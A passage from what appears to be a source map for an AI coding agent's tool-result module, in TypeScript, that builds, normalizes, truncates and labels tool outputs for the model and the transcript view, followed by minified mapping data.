isFileMutatingTool } from './tool-capabilities.js';\nimport { resolveBookHome } from '../book-home.js';\n\nexport const TOOL_RESULT_MAX_BYTES = 50 * 1024;\n/**\n * What `Read` returns for a file with no lines in it. It lives here because the\n * row a transcript draws for a Read is reconstructed from its text as well as\n * from Read's own metadata, and both have to agree on these words.\n */\nexport const READ_EMPTY_FILE_NOTICE = '[Empty file: 0 lines.]';\n/**\n * Where clipped tool output is saved in full. The loop lets `Read` open each file\n * it clipped a result into, never the whole directory.\n */\nconst TOOL_OUTPUT_DIRECTORY = join(resolveBookHome(), 'tool-output');\n\ninterface ToolResultOptions<TData> {\n toolCallId?: string;\n data?: TData;\n presentation?: Partial<ToolResultPresentation>;\n artifacts?: ToolResultArtifacts;\n pagination?: ToolResult['pagination'];\n}\n\ninterface LegacyToolResult {\n version?: 2;\n toolCallId: string;\n status?: ToolResultStatus;\n content?: string;\n output?: string;\n success?: boolean;\n data?: unknown;\n error?: string;\n structuredError?: ToolResultError;\n presentation?: ToolResultPresentation;\n metrics?: ToolResult['metrics'];\n artifacts?: ToolResultArtifacts;\n durationMs?: number;\n retryAttempt?: number;\n fileMutation?: ToolResultArtifacts['fileMutation'];\n fileMutations?: ToolResultArtifacts['fileMutations'];\n fileObservations?: ToolResultArtifacts['fileObservations'];\n eventRef?: string;\n outputPath?: string;\n pagination?: ToolResult['pagination'];\n}\n\nfunction presentationFor(\n content: string,\n override?: Partial<ToolResultPresentation>,\n): ToolResultPresentation {\n return {\n kind: override?.kind ?? 'text',\n summary: override?.summary ?? content.split('\\n')[0]?.trim() ?? '',\n details: override?.details ?? content,\n metadata: override?.metadata,\n target: override?.target,\n };\n}\n\nexport function toolSuccess<TData = unknown>(\n content: string,\n options: ToolResultOptions<TData> = {},\n): ToolResult<TData> {\n return {\n version: 2,\n toolCallId: options.toolCallId ?? '',\n status: 'success',\n content,\n data: options.data,\n presentation: options.presentation ? presentationFor(content, options.presentation) : undefined,\n artifacts: options.artifacts,\n pagination: options.pagination,\n };\n}\n\nexport function toolFailure(\n message: string,\n options: ToolResultOptions<unknown> & {\n code?: string;\n status?: Exclude<ToolResultStatus, 'success'>;\n retryable?: boolean;\n remediation?: string;\n details?: Record<string, unknown>;\n content?: string;\n } = {},\n): ToolResult {\n const error: ToolResultError = {\n code: options.code ?? 'tool_error',\n message,\n retryable: options.retryable ?? false,\n remediation: options.remediation,\n details: options.details,\n };\n const content = options.content ?? '';\n return {\n version: 2,\n toolCallId: options.toolCallId ?? '',\n status: options.status ?? 'error',\n content,\n data: options.data,\n structuredError: error,\n presentation: options.presentation\n ? presentationFor(message, {\n summary: message.split('\\n')[0]?.trim(),\n details: message,\n ...options.presentation,\n })\n : undefined,\n artifacts: options.artifacts,\n pagination: options.pagination,\n };\n}\n\nexport function toolResultSucceeded(result: ToolResult): boolean {\n return result.status === 'success';\n}\n\nexport function toolResultErrorMessage(result: ToolResult): string | undefined {\n return result.structuredError?.message;\n}\n\nfunction rawToolResultModelContent(result: ToolResult): string {\n const content = result.content;\n if (toolResultSucceeded(result)) {\n return content.trim().length === 0 ? '(no output)' : content;\n }\n const remediation = result.structuredError?.remediation;\n const fix = remediation ? `\\nFix: ${remediation}` : '';\n const detail = content ? `\\n${content}` : '';\n return `ERROR [${result.structuredError?.code ?? result.status}]: ${toolResultErrorMessage(result) ?? 'tool failed'}${fix}${detail}`;\n}\n\nexport function toolResultModelContent(result: ToolResult): string {\n if (result.maskedPlaceholder !== undefined) return result.maskedPlaceholder;\n const raw = rawToolResultModelContent(result);\n if (Buffer.byteLength(raw) <= TOOL_RESULT_MAX_BYTES) return raw;\n // Reached only by callers that skipped `boundToolResultOutput`, which is\n // where an agent-loop result is clipped. Both places clip a failure to its\n // head and its tail, through the same helper.\n if (!toolResultSucceeded(result)) {\n const prefix = `ERROR [${result.structuredError?.code ?? result.status}]: `;\n const fix = result.structuredError?.remediation\n ? `\\nFix: ${result.structuredError.remediation}`\n : '';\n const budget = Math.max(\n 1,\n TOOL_RESULT_MAX_BYTES - Buffer.byteLength(prefix) - Buffer.byteLength(fix),\n );\n return `${prefix}${headTailPreview(failureText(result), result.artifacts?.outputPath, budget)}${fix}`;\n }\n return clippedOutputPreview(raw, result.artifacts?.outputPath, TOOL_RESULT_MAX_BYTES);\n}\n\nexport function utf8Prefix(text: string, maxBytes: number): string {\n if (maxBytes <= 0) return '';\n const bytes = Buffer.from(text);\n if (bytes.byteLength <= maxBytes) return text;\n return bytes\n .subarray(0, maxBytes)\n .toString('utf8')\n .replace(/\\uFFFD$/u, '');\n}\n\nfunction utf8Suffix(text: string, maxBytes: number): string {\n if (maxBytes <= 0) return '';\n const bytes = Buffer.from(text);\n if (bytes.byteLength <= maxBytes) return text;\n // Advance past any continuation bytes so the tail starts on a character\n // boundary. Cutting inside a 4-byte sequence otherwise strands three\n // continuation bytes, each of which decodes to its own replacement char.\n let start = bytes.byteLength - maxBytes;\n while (start < bytes.byteLength && (bytes[start] & 0xc0) === 0x80) start++;\n return bytes.subarray(start).toString('utf8');\n}\n\n/**\n * How much of a clipped failure's head survives: at most 8 KB, and never more\n * than a fifth of the budget, so the tail always has room to be worth keeping.\n */\nconst FAILURE_HEAD_MAX_BYTES = 8 * 1024;\n\n/** A failure's message and its output, as the two are read when the pair is clipped. */\nfunction failureText(result: ToolResult): string {\n const message = toolResultErrorMessage(result) ?? 'tool failed';\n return result.content ? `${message}\\n${result.content}` : message;\n}\n\n/**\n * A failure is judged on both ends, so a clipped one keeps both. The head\n * carries the error line, whatever framed the output — the Task tool's\n * `Partial result (the child was stopped; nothing below is final):` — and the\n * first diagnostics. The tail carries the verdict a test runner prints last.\n * Clipping to one end loses the other: a non-zero exit puts all of stderr in\n * the message and stdout in the content, and the summary is in the stdout, so a\n * tail-only clip of a large stderr reported the head instead of the verdict\n * (#308).\n */\nfunction headTailPreview(text: string, outputPath: string | undefined, maxBytes: number): string {\n const totalBytes = Buffer.byteLength(text);\n const headWindow = Math.min(FAILURE_HEAD_MAX_BYTES, Math.floor(maxBytes * 0.2));\n const window = utf8Prefix(text, headWindow);\n if (Buffer.byteLength(window) >= totalBytes) return text;\n // End the head on a whole line when one falls inside the kept window; a\n // half-line of output is harder to read than one line fewer.\n const lastBreak = window.lastIndexOf('\\n');\n const head = lastBreak >= 0 ? window.slice(0, lastBreak + 1) : window;\n // The newline that closed that line is not shown — the one that follows the\n // head here is a joiner — so it is part of what the notice has to count.\n const headShown = head.trimEnd();\n const headBytes = Buffer.byteLength(headShown);\n const omittedNotice = (omitted: number): string =>\n outputPath\n ? `[... ${omitted} bytes omitted. Full output: ${outputPath}]`\n : `[... ${omitted} bytes omitted. Full output unavailable.]`;\n // How much sits between the head and the tail is not known until the tail is,\n // but the notice's own width is: the widest count is the whole text, so that\n // notice is the room reserved before the tail is measured. The two newlines\n // that join the three parts are reserved with it, so the result stays inside\n // the budget the caller treats as final.\n const reserve = Buffer.byteLength(omittedNotice(totalBytes)) + 2;\n const tailRoom = maxBytes - headBytes - reserve;\n if (tailRoom <= 0) return [headShown, omittedNotice(totalBytes - headBytes)].join('\\n');\n // `utf8Suffix` lands on a character boundary; skip the rest of the line it\n // landed in so the tail starts on a line of its own.\n const tailWindow = utf8Suffix(text, tailRoom);\n const breakAt = tailWindow.indexOf('\\n');\n const tail = breakAt >= 0 ? tailWindow.slice(breakAt + 1) : tailWindow;\n const notice = omittedNotice(totalBytes - headBytes - Buffer.byteLength(tail));\n return [headShown, notice, tail].join('\\n');\n}\n\nfunction clippedOutputPreview(\n content: string,\n outputPath: string | undefined,\n maxBytes: number,\n): string {\n const notice = outputPath\n ? `\\n\\n[Output truncated at ${maxBytes} bytes. Full output: ${outputPath}]`\n : `\\n\\n[Output truncated at ${maxBytes} bytes. Full output unavailable.]`;\n const previewBudget = Math.max(0, maxBytes - Buffer.byteLength(notice));\n return `${utf8Prefix(content, previewBudget).trimEnd()}${notice}`;\n}\n\n/**\n * Bound every provider-facing tool result at the execution boundary. Complete output is stored in\n * Book's user-local data directory when possible, never in the tracked workspace.\n */\nexport async function boundToolResultOutput(\n input: ToolResult,\n _workspaceRoot: string,\n maxBytes = TOOL_RESULT_MAX_BYTES,\n artifactRoot = TOOL_OUTPUT_DIRECTORY,\n): Promise<ToolResult> {\n const result = normalizeToolResult(input);\n const modelContent = rawToolResultModelContent(result);\n const modelContentBytes = Buffer.byteLength(modelContent);\n const contentBytes = Buffer.byteLength(result.content);\n const details = result.presentation?.details;\n const detailsBytes = details === undefined ? 0 : Buffer.byteLength(details);\n if (modelContentBytes <= maxBytes && detailsBytes <= maxBytes) return result;\n\n let outputPath = result.artifacts?.outputPath;\n if (!outputPath) {\n const outputFile = join(artifactRoot, `${crypto.randomUUID()}.txt`);\n try {\n await mkdir(dirname(outputFile), { recursive: true });\n await writeFile(\n outputFile,\n detailsBytes > modelContentBytes && details ? details : modelContent,\n 'utf8',\n );\n outputPath = outputFile.replace(/\\\\/g, '/');\n } catch {\n // Clipping must still succeed in read-only or otherwise restricted environments.\n }\n }\n\n const modelOverflow = modelContentBytes > maxBytes;\n const content = toolResultSucceeded(result)\n ? contentBytes > maxBytes\n ? clippedOutputPreview(result.content, outputPath, maxBytes)\n : result.content\n : modelOverflow\n ? ''\n : result.content;\n const errorPrefix = `ERROR [${result.structuredError?.code ?? result.status}]: `;\n // Reserve room for the \"\\nFix: <remediation>\" line appended at render time so\n // the remediation survives instead of being re-clipped off the tail.\n const fixReserve = result.structuredError?.remediation\n ? Buffer.byteLength(`\\nFix: ${result.structuredError.remediation}`)\n : 0;\n const errorBudget = Math.max(1, maxBytes - Buffer.byteLength(errorPrefix) - fixReserve);\n const structuredError = result.structuredError\n ? {\n ...result.structuredError,\n // The message and the output are clipped as one text, so a failure\n // keeps both ends: the error line and any framing at the top, and the\n // verdict at the bottom. The room the `Fix:` line needs is reserved\n // above, so the remediation is never what gets clipped.\n message: modelOverflow\n ? headTailPreview(failureText(result), outputPath, errorBudget)\n : result.structuredError.message,\n }\n : result.structuredError;\n const clippedDetails = details\n ? detailsBytes > maxBytes\n ? // The transcript row reads the same way the model does: a failure's\n // head and tail, not one end of it — the same reason as above.\n toolResultSucceeded(result)\n ? clippedOutputPreview(details, outputPath, maxBytes)\n : headTailPreview(details, outputPath, maxBytes)\n : details\n : toolResultSucceeded(result)\n ? content\n : structuredError?.message;\n\n return {\n ...result,\n content,\n structuredError,\n presentation: result.presentation\n ? { ...result.presentation, details: clippedDetails }\n : result.presentation,\n artifacts: outputPath ? { ...result.artifacts, outputPath } : result.artifacts,\n pagination: {\n ...result.pagination,\n truncated: true,\n omittedBytes: Math.max(\n result.pagination?.omittedBytes ?? 0,\n Math.max(modelContentBytes, contentBytes, detailsBytes) - maxBytes,\n ),\n },\n };\n}\n\nexport function replaceToolResult(\n result: ToolResult,\n patch: {\n status?: ToolResultStatus;\n content?: string;\n error?: ToolResultError;\n presentation?: Partial<ToolResultPresentation>;\n },\n): ToolResult {\n const status = patch.status ?? result.status;\n const content = patch.content ?? result.content;\n return {\n ...result,\n status,\n content,\n // New content replaces what the model read: a placeholder standing in for\n // the previous text would hide the rewrite (a PostToolUse hook's\n // `modifiedOutput`, the plan-approval note) behind the line the tool wrote.\n ...(patch.content !== undefined ? { maskedPlaceholder: undefined } : {}),\n structuredError: patch.error ?? (status === 'success' ? undefined : result.structuredError),\n presentation:\n result.presentation || patch.presentation\n ? presentationFor(content, {\n ...result.presentation,\n ...patch.presentation,\n })\n : undefined,\n };\n}\n\n/** Upgrade persisted pre-V2 results while keeping the runtime and SDK contract V2-only. */\nexport function normalizeToolResult(result: ToolResult | LegacyToolResult): ToolResult {\n const legacy = result as LegacyToolResult;\n const legacySuccess = legacy.success;\n const legacyError = typeof legacy.error === 'string' ? legacy.error : undefined;\n const status: ToolResultStatus = result.status\n ? result.status\n : legacySuccess\n ? 'success'\n : legacyError?.startsWith('SKIPPED')\n ? 'blocked'\n : legacyError?.startsWith('CANCELLED')\n ? 'cancelled'\n : legacyError?.startsWith('Tool timeout')\n ? 'timed_out'\n : 'error';\n const content = result.content ?? legacy.output ?? '';\n const error =\n status === 'success'\n ? undefined\n : {\n ...(result.structuredError ?? {}),\n code: result.structuredError?.code ?? (status === 'blocked' ? 'blocked' : status),\n message: legacyError ?? result.structuredError?.message ?? 'Tool failed',\n retryable: result.structuredError?.retryable ?? status === 'timed_out',\n };\n const artifacts: ToolResultArtifacts | undefined =\n result.artifacts ??\n (legacy.fileMutation ||\n legacy.fileMutations ||\n legacy.fileObservations ||\n legacy.eventRef ||\n legacy.outputPath\n ? {\n fileMutation: legacy.fileMutation,\n fileMutations: legacy.fileMutations,\n fileObservations: legacy.fileObservations,\n eventRef: legacy.eventRef,\n outputPath: legacy.outputPath,\n }\n : undefined);\n const metrics =\n result.metrics ??\n (legacy.durationMs !== undefined || legacy.retryAttempt !== undefined\n ? { durationMs: legacy.durationMs, retryAttempt: legacy.retryAttempt }\n : undefined);\n return {\n version: 2,\n toolCallId: result.toolCallId,\n status,\n content,\n // Masking's placeholder survives a resume, or a restored compaction's tail\n // would come back at full size.\n ...('maskedPlaceholder' in result && result.maskedPlaceholder !== undefined\n ? { maskedPlaceholder: result.maskedPlaceholder }\n : {}),\n data: result.data,\n structuredError: error,\n presentation: result.presentation,\n artifacts,\n metrics,\n pagination: result.pagination,\n };\n}\n\nfunction nonEmptyLines(content: string): number {\n return content.split('\\n').filter((line) => line.trim()).length;\n}\n\n/** A Read row's line metadata: how many lines of the file, and their range when the read started partway in. */\nexport function readLineMetadata(start: number, count: number): string[] {\n // A row counts whole lines: the values reach this from Read's own floor and\n // from a page reconstructed out of its text, and either can be fractional.\n const first = Math.max(1, Math.floor(start));\n const lines = Math.max(0, Math.floor(count));\n if (lines <= 0) return ['empty'];\n const size = lines === 1 ? '1 line' : `${lines} lines`;\n // `121 lines · 1-121` says the same thing twice. The range earns its place only when the read\n // started partway into the file.\n return first > 1 ? [size, `${first}-${first + lines - 1}`] : [size];\n}\n\n/**\n * A Read row's metadata reconstructed from its text, for results that carry none (outlines, and\n * results persisted before tool results had a presentation): the lines of the file it returned\n * and their range, or how many declarations an outline listed. A read that stops early ends with\n * a notice (`[Lines 3-6 of 20 shown. …]`, `[Line 1 (60000 bytes) was cut …]`), which is not a\n * line of the file, and an empty file is nothing but its notice. Read's own results carry exact\n * metadata (readLineMetadata). Without Read's own count, a result persisted by a build that\n * numbered the empty element after a final newline still reads one line long, so a trailing\n * `N: ` is read past — a file ending in a blank line now returns the same text, and its phantom\n * line is gone.\n */\nexport function readResultMetadata(args: Record<string, unknown>, content: string): string[] {\n // An outline lists declarations under a header, not lines of the file.\n if (args.outline === true) {\n const entries = content.split('\\n').filter((line) => /^\\d+: /.test(line)).length;\n return ['outline', entries === 1 ? '1 entry' : `${entries} entries`];\n }\n let body =\n content === READ_EMPTY_FILE_NOTICE ? '' : content.replace(/\\n\\[Lines? \\d[^\\n]*\\]$/, '');\n if (body === content) body = body.replace(/(?:^|\\n)\\d+: $/, '');\n const lineCount = body ? body.split('\\n').length : 0;\n const offset = Number(args.offset ?? 0);\n const start = Number.isFinite(offset) && offset > 0 ? Math.floor(offset) : 1;\n return readLineMetadata(start, lineCount);\n}\n\n/**\n * A Grep row's count re-derived from its text, for results that carry none: a\n * result persisted by a build that did not have Grep set its own (#311). Grep\n * itself counts from the data it collected, which is exact where this is not —\n * a context line's text can hold a `12:30` of its own, and a match spanning\n * lines is several lines. In the unit `output_mode` asks for: matches in\n * `content` and `count` mode, files in `files_with_matches`.\n */\nexport function grepResultMetadata(args: Record<string, unknown>, content: string): string {\n const noun = args.output_mode === 'files_with_matches' ? 'file' : 'match';\n if (/^No matches found$/i.test(content.trim()))\n return `0 ${noun === 'file' ? 'files' : 'matches'}`;\n const lines = content.split('\\n');\n let count: number;\n if (noun === 'file') count = lines.filter((line) => line.trim()).length;\n else if (args.output_mode === 'count') {\n count = lines.reduce((total, line) => total + (Number(/:(\\d+)\\s*$/.exec(line)?.[1]) || 0), 0);\n } else count = lines.filter((line) => /:\\d+:/.test(line)).length || nonEmptyLines(content);\n return `${count} ${count === 1 ? noun : noun === 'file' ? 'files' : 'matches'}`;\n}\n\n/** Attach stable UI data while execution still has the tool name and arguments. */\nexport function enrichToolResultPresentation(\n input: ToolResult,\n toolName: string,\n args: Record<string, unknown>,\n): ToolResult {\n const result = normalizeToolResult(input);\n const name = canonicalToolName(toolName);\n const content = result.content;\n const explicitPresentation = result.presentation;\n const target = explicitPresentation?.target ?? (getPrimaryArg(args) || undefined);\n const metadata: string[] = explicitPresentation?.metadata\n ? [...explicitPresentation.metadata]\n : [];\n const inferKind = explicitPresentation?.kind === undefined;\n const inferSummary = explicitPresentation?.summary === undefined;\n const inferMetadata = explicitPresentation?.metadata === undefined;\n let kind: ToolResultPresentation['kind'] = explicitPresentation?.kind ?? 'text';\n let summary = explicitPresentation?.summary ?? content.split('\\n')[0]?.trim() ?? '';\n\n if (isFileMutatingTool(name)) {\n if (inferKind) {\n kind = result.artifacts?.fileMutation ? 'file' : /^@@/m.test(content) ? 'diff' : 'file';\n }\n const mutation = result.artifacts?.fileMutation ?? result.artifacts?.fileMutations?.[0];\n if (mutation) {\n if (inferMetadata) {\n if (mutation.addedLines) metadata.push(`+${mutation.addedLines}`);\n if (mutation.removedLines) metadata.push(`-${mutation.removedLines}`);\n if (!mutation.addedLines && !mutation.removedLines) metadata.push('no changes');\n }\n if (inferSummary) {\n summary = `${mutation.kind === 'create' ? 'Created' : mutation.kind === 'delete' ? 'Deleted' : 'Updated'} ${mutation.filePath}`;\n }\n }\n } else if (name === 'Read') {\n if (inferKind) kind = 'file';\n if (inferMetadata && result.status === 'success')\n metadata.push(...readResultMetadata(args, content));\n if (inferSummary) summary = target ? `Read ${target}` : summary;\n } else if (name === 'Glob') {\n if (inferKind) kind = 'search';\n const count = /^(?:No files found|No matches found)$/i.test(content.trim())\n ? 0\n : nonEmptyLines(content.replace(/\\n\\.\\.\\. \\(truncated[\\s\\S]*$/, ''));\n if (inferMetadata) metadata.push(`${count} ${count === 1 ? 'file' : 'files'}`);\n if (inferSummary) summary = `Found ${count} ${count === 1 ? 'file' : 'files'}`;\n } else if (name === 'Grep') {\n if (inferKind) kind = 'search';\n // Only a search that ran has matches to count; a failed one is a row with\n // the error, the way Read's is.\n if (result.status === 'success') {\n const label = grepResultMetadata(args, content);\n if (inferMetadata) metadata.push(label);\n if (inferSummary) summary = `Found ${label}`;\n }\n } else if (name === 'Bash' || name === 'BashOutput' || name === 'KillShell') {\n if (inferKind) kind = 'command';\n if (inferSummary) summary = target ? `${name}: ${target}` : summary;\n } else if (name === 'GitDiff') {\n if (inferKind) kind = 'diff';\n } else if (name.startsWith('Web') || name === 'ToolSearch' || name.startsWith('SessionHistory')) {\n if (inferKind) kind = name === 'ToolSearch' ? 'search' : 'markdown';\n } else if (name.startsWith('Task') || name === 'TodoWrite') {\n if (inferKind) kind = 'task';\n } else if (name.startsWith('Agent') || name.startsWith('Evidence')) {\n if (inferKind) kind = 'agent';\n }\n\n return {\n ...result,\n presentation: {\n kind,\n summary,\n details: explicitPresentation?.details ?? content,\n metadata,\n target: explicitPresentation?.target ?? result.artifacts?.fileMutation?.filePath ?? target,\n },\n };\n}\n","export const FILE_MUTATING_TOOLS = new Set([\n 'ApplyPatch',\n 'Write',\n 'Edit',\n 'MultiEdit',\n 'NotebookEdit',\n]);\n\nexport function isFileMutatingTool(canonicalName: string): boolean {\n return FILE_MUTATING_TOOLS.has(canonicalName);\n}\n"],"mappings":"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